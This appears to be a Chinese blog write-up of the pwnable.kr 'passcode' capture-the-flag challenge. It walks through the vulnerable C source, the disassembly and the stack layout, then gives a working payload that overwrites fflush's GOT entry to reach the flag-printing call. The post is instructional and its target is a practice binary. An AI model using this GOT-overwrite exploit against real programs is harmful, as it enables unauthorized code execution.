pwnable passcode 10pt

本贴最后更新于 3087 天前,其中的信息可能已经斗转星移

题目在

ssh passcode@pwnable.kr -p2222 (pw:guest)

先看 passcode.c

#include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); // 控制 fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); // 目标 } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }

先看 login,我们的目标是执行 system 函数,这个函数位于 if 里面,判断条件是 passcode1passcode2 的值。

但是上面的 scanf 中,作者忘了写取地址 &,导致我们不能通过 scanf 控制这两个函数的值。也就是说,我们只能够写入 scanf 所指向的地址,而且如果它不能写入就崩溃。

然后我们看一下汇编,同目录下有个 passcode,拿 objdump 反编译:

先是 main

08048665 <main>: 8048665: 55 push %ebp 8048666: 89 e5 mov %esp,%ebp 8048668: 83 e4 f0 and $0xfffffff0,%esp 804866b: 83 ec 10 sub $0x10,%esp 804866e: c7 04 24 f0 87 04 08 movl $0x80487f0,(%esp) 8048675: e8 d6 fd ff ff call 8048450 <puts@plt> 804867a: e8 8a ff ff ff call 8048609 <welcome> 804867f: e8 e0 fe ff ff call 8048564 <login> 8048684: c7 04 24 18 88 04 08 movl $0x8048818,(%esp) 804868b: e8 c0 fd ff ff call 8048450 <puts@plt> 8048690: b8 00 00 00 00 mov $0x0,%eax 8048695: c9 leave 8048696: c3 ret

我们可以看到,按照他这种调用方式,loginwelcome 的栈基址(EBP)是相同的。

然后是 welcome

08048609 <welcome>: 8048609: 55 push %ebp 804860a: 89 e5 mov %esp,%ebp 804860c: 81 ec 88 00 00 00 sub $0x88,%esp 8048612: 65 a1 14 00 00 00 mov %gs:0x14,%eax 8048618: 89 45 f4 mov %eax,-0xc(%ebp) ; canary 804861b: 31 c0 xor %eax,%eax 804861d: b8 cb 87 04 08 mov $0x80487cb,%eax 8048622: 89 04 24 mov %eax,(%esp) 8048625: e8 f6 fd ff ff call 8048420 <printf@plt> 804862a: b8 dd 87 04 08 mov $0x80487dd,%eax 804862f: 8d 55 90 lea -0x70(%ebp),%edx ; name[100] 8048632: 89 54 24 04 mov %edx,0x4(%esp) 8048636: 89 04 24 mov %eax,(%esp) 8048639: e8 62 fe ff ff call 80484a0 <__isoc99_scanf@plt> 804863e: b8 e3 87 04 08 mov $0x80487e3,%eax 8048643: 8d 55 90 lea -0x70(%ebp),%edx 8048646: 89 54 24 04 mov %edx,0x4(%esp) 804864a: 89 04 24 mov %eax,(%esp) 804864d: e8 ce fd ff ff call 8048420 <printf@plt> 8048652: 8b 45 f4 mov -0xc(%ebp),%eax 8048655: 65 33 05 14 00 00 00 xor %gs:0x14,%eax 804865c: 74 05 je 8048663 <welcome+0x5a> 804865e: e8 dd fd ff ff call 8048440 <__stack_chk_fail@plt> 8048663: c9 leave 8048664: c3 ret

我们可以推断出栈帧的情况:

+-------------+ <- ebp - 0x70 | name[100] | | (0x64) | +-------------+ <- ebp - 0xc | canary | +-------------+ | ? | +-------------+ | ? | +-------------+ <- ebp | old ebp | +-------------+ | ret addr | +-------------+

我们看到这个函数启用了栈检测,也就是说,不能将返回地址直接覆盖为目标地址(如果这样就太简单了)。

然后是 login

08048564 <login>: 8048564: 55 push %ebp 8048565: 89 e5 mov %esp,%ebp 8048567: 83 ec 28 sub $0x28,%esp 804856a: b8 70 87 04 08 mov $0x8048770,%eax 804856f: 89 04 24 mov %eax,(%esp) 8048572: e8 a9 fe ff ff call 8048420 <printf@plt> 8048577: b8 83 87 04 08 mov $0x8048783,%eax 804857c: 8b 55 f0 mov -0x10(%ebp),%edx ; passcode1 804857f: 89 54 24 04 mov %edx,0x4(%esp) 8048583: 89 04 24 mov %eax,(%esp) 8048586: e8 15 ff ff ff call 80484a0 <__isoc99_scanf@plt> 804858b: a1 2c a0 04 08 mov 0x804a02c,%eax 8048590: 89 04 24 mov %eax,(%esp) 8048593: e8 98 fe ff ff call 8048430 <fflush@plt> 8048598: b8 86 87 04 08 mov $0x8048786,%eax 804859d: 89 04 24 mov %eax,(%esp) 80485a0: e8 7b fe ff ff call 8048420 <printf@plt> 80485a5: b8 83 87 04 08 mov $0x8048783,%eax 80485aa: 8b 55 f4 mov -0xc(%ebp),%edx ; passcode2 80485ad: 89 54 24 04 mov %edx,0x4(%esp) 80485b1: 89 04 24 mov %eax,(%esp) 80485b4: e8 e7 fe ff ff call 80484a0 <__isoc99_scanf@plt> 80485b9: c7 04 24 99 87 04 08 movl $0x8048799,(%esp) 80485c0: e8 8b fe ff ff call 8048450 <puts@plt> 80485c5: 81 7d f0 e6 28 05 00 cmpl $0x528e6,-0x10(%ebp) 80485cc: 75 23 jne 80485f1 <login+0x8d> 80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp) 80485d5: 75 1a jne 80485f1 <login+0x8d> 80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp) ; success 80485de: e8 6d fe ff ff call 8048450 <puts@plt> 80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp) ; target 80485ea: e8 71 fe ff ff call 8048460 <system@plt> 80485ef: c9 leave 80485f0: c3 ret 80485f1: c7 04 24 bd 87 04 08 movl $0x80487bd,(%esp) ; fail 80485f8: e8 53 fe ff ff call 8048450 <puts@plt> 80485fd: c7 04 24 00 00 00 00 movl $0x0,(%esp)z 8048604: e8 77 fe ff ff call 8048480 <exit@plt>

可以画出栈帧如图:

+-------------+ <- ebp - 0x10 | passcode1 | +-------------+ <- ebp - 0xc | passcode2 | +-------------+ | ? | +-------------+ | ? | +-------------+ <- ebp | old ebp | +-------------+ | ret addr | +-------------+

对比这两个栈帧可以发现,passcode1name 的最后四个字节,passcode2 就是 canary。也就是说我们没办法控制 passcode2,但有办法控制 passcode1,所以我们有办法向一个随机地址内写四个字节。

那么我们需要用到一个(不是那么)高级技巧,将 fflush 或者 printf 的地址覆盖成我们的目标地址,也就是 080485e3。我这里选择 fflush 进行演示吧。由于 fflush 是库函数,它拥有 GOT,GOT 又是可写的,所以可以这么做。

我们先查看 fflush 的 PLT:

08048430 <fflush@plt>: 8048430: ff 25 04 a0 04 08 jmp *0x804a004 8048436: 68 08 00 00 00 push $0x8 804843b: e9 d0 ff ff ff jmp 8048410 <_init+0x30>

0804a004 就是 fflush 的 GOT 地址。简单来说,就是如果把这个地址的内容写成 080485e3,那他就会执行对吧。所以 welcomename 的最后四个字节应该是 0804a004,这里需要写成小端形式,\x04\xa0\x04\x08。然后 loginscanf 中输入目标地址,也就是 080485e3,转化成十进制是 134514147

好,我们构造 payload:

python -c "print 'a'*96+'\x04\xa0\x04\x08\n134514147\n'" | ./passcode

成功 ~

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...
  • wizardforcel
    作者

    p.s. 这个原理跟 GOT Hook 的原理是一样的。大家可以查查这方面的东西,不细说了。

推荐标签 标签

  • LeetCode

    LeetCode(力扣)是一个全球极客挚爱的高质量技术成长平台,想要学习和提升专业能力从这里开始,充足技术干货等你来啃,轻松拿下 Dream Offer!

    209 引用 • 72 回帖 • 2 关注
  • Follow
    4 引用 • 12 回帖 • 1 关注
  • SEO

    发布对别人有帮助的原创内容是最好的 SEO 方式。

    36 引用 • 200 回帖 • 32 关注
  • 程序员

    程序员是从事程序开发、程序维护的专业人员。

    589 引用 • 3528 回帖
  • 运维

    互联网运维工作,以服务为中心,以稳定、安全、高效为三个基本点,确保公司的互联网业务能够 7×24 小时为用户提供高质量的服务。

    151 引用 • 257 回帖 • 1 关注
  • CSS

    CSS(Cascading Style Sheet)“层叠样式表”是用于控制网页样式并允许将样式信息与网页内容分离的一种标记性语言。

    198 引用 • 543 回帖 • 2 关注
  • Node.js

    Node.js 是一个基于 Chrome JavaScript 运行时建立的平台, 用于方便地搭建响应速度快、易于扩展的网络应用。Node.js 使用事件驱动, 非阻塞 I/O 模型而得以轻量和高效。

    139 引用 • 269 回帖 • 1 关注
  • 正则表达式

    正则表达式(Regular Expression)使用单个字符串来描述、匹配一系列遵循某个句法规则的字符串。

    31 引用 • 94 回帖
  • JRebel

    JRebel 是一款 Java 虚拟机插件,它使得 Java 程序员能在不进行重部署的情况下,即时看到代码的改变对一个应用程序带来的影响。

    26 引用 • 78 回帖 • 675 关注
  • Android

    Android 是一种以 Linux 为基础的开放源码操作系统,主要使用于便携设备。2005 年由 Google 收购注资,并拉拢多家制造商组成开放手机联盟开发改良,逐渐扩展到到平板电脑及其他领域上。

    336 引用 • 324 回帖 • 1 关注
  • IDEA

    IDEA 全称 IntelliJ IDEA,是一款 Java 语言开发的集成环境,在业界被公认为最好的 Java 开发工具之一。IDEA 是 JetBrains 公司的产品,这家公司总部位于捷克共和国的首都布拉格,开发人员以严谨著称的东欧程序员为主。

    181 引用 • 400 回帖 • 1 关注
  • Flutter

    Flutter 是谷歌的移动 UI 框架,可以快速在 iOS 和 Android 上构建高质量的原生用户界面。 Flutter 可以与现有的代码一起工作,它正在被越来越多的开发者和组织使用,并且 Flutter 是完全免费、开源的。

    39 引用 • 92 回帖 • 7 关注
  • Jenkins

    Jenkins 是一套开源的持续集成工具。它提供了非常丰富的插件,让构建、部署、自动化集成项目变得简单易用。

    54 引用 • 37 回帖
  • 人工智能

    人工智能(Artificial Intelligence)是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门技术科学。

    115 引用 • 318 回帖
  • 分享

    有什么新发现就分享给大家吧!

    248 引用 • 1794 回帖
  • LaTeX

    LaTeX(音译“拉泰赫”)是一种基于 ΤΕΧ 的排版系统,由美国计算机学家莱斯利·兰伯特(Leslie Lamport)在 20 世纪 80 年代初期开发,利用这种格式,即使使用者没有排版和程序设计的知识也可以充分发挥由 TeX 所提供的强大功能,能在几天,甚至几小时内生成很多具有书籍质量的印刷品。对于生成复杂表格和数学公式,这一点表现得尤为突出。因此它非常适用于生成高印刷质量的科技和数学类文档。

    12 引用 • 59 回帖 • 2 关注
  • AngularJS

    AngularJS 诞生于 2009 年,由 Misko Hevery 等人创建,后为 Google 所收购。是一款优秀的前端 JS 框架,已经被用于 Google 的多款产品当中。AngularJS 有着诸多特性,最为核心的是:MVC、模块化、自动化双向数据绑定、语义化标签、依赖注入等。2.0 版本后已经改名为 Angular。

    12 引用 • 50 回帖 • 515 关注
  • 大数据

    大数据(big data)是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合,是需要新处理模式才能具有更强的决策力、洞察发现力和流程优化能力的海量、高增长率和多样化的信息资产。

    89 引用 • 113 回帖 • 1 关注
  • 大疆创新

    深圳市大疆创新科技有限公司(DJI-Innovations,简称 DJI),成立于 2006 年,是全球领先的无人飞行器控制系统及无人机解决方案的研发和生产商,客户遍布全球 100 多个国家。通过持续的创新,大疆致力于为无人机工业、行业用户以及专业航拍应用提供性能最强、体验最佳的革命性智能飞控产品和解决方案。

    2 引用 • 14 回帖
  • WebClipper

    Web Clipper 是一款浏览器剪藏扩展,它可以帮助你把网页内容剪藏到本地。

    3 引用 • 9 回帖 • 2 关注
  • 资讯

    资讯是用户因为及时地获得它并利用它而能够在相对短的时间内给自己带来价值的信息,资讯有时效性和地域性。

    56 引用 • 85 回帖
  • flomo

    flomo 是新一代 「卡片笔记」 ,专注在碎片化时代,促进你的记录,帮你积累更多知识资产。

    6 引用 • 143 回帖
  • 房星科技

    房星网,我们不和没有钱的程序员谈理想,我们要让程序员又有理想又有钱。我们有雄厚的房地产行业线下资源,遍布昆明全城的 100 家门店、四千地产经纪人是我们坚实的后盾。

    6 引用 • 141 回帖 • 606 关注
  • Telegram

    Telegram 是一个非盈利性、基于云端的即时消息服务。它提供了支持各大操作系统平台的开源的客户端,也提供了很多强大的 APIs 给开发者创建自己的客户端和机器人。

    5 引用 • 35 回帖
  • Facebook

    Facebook 是一个联系朋友的社交工具。大家可以通过它和朋友、同事、同学以及周围的人保持互动交流,分享无限上传的图片,发布链接和视频,更可以增进对朋友的了解。

    4 引用 • 15 回帖 • 450 关注
  • OpenCV
    15 引用 • 36 回帖 • 7 关注
  • 黑曜石

    黑曜石是一款强大的知识库工具,支持本地 Markdown 文件编辑,支持双向链接和关系图。

    A second brain, for you, forever.

    24 引用 • 242 回帖 • 1 关注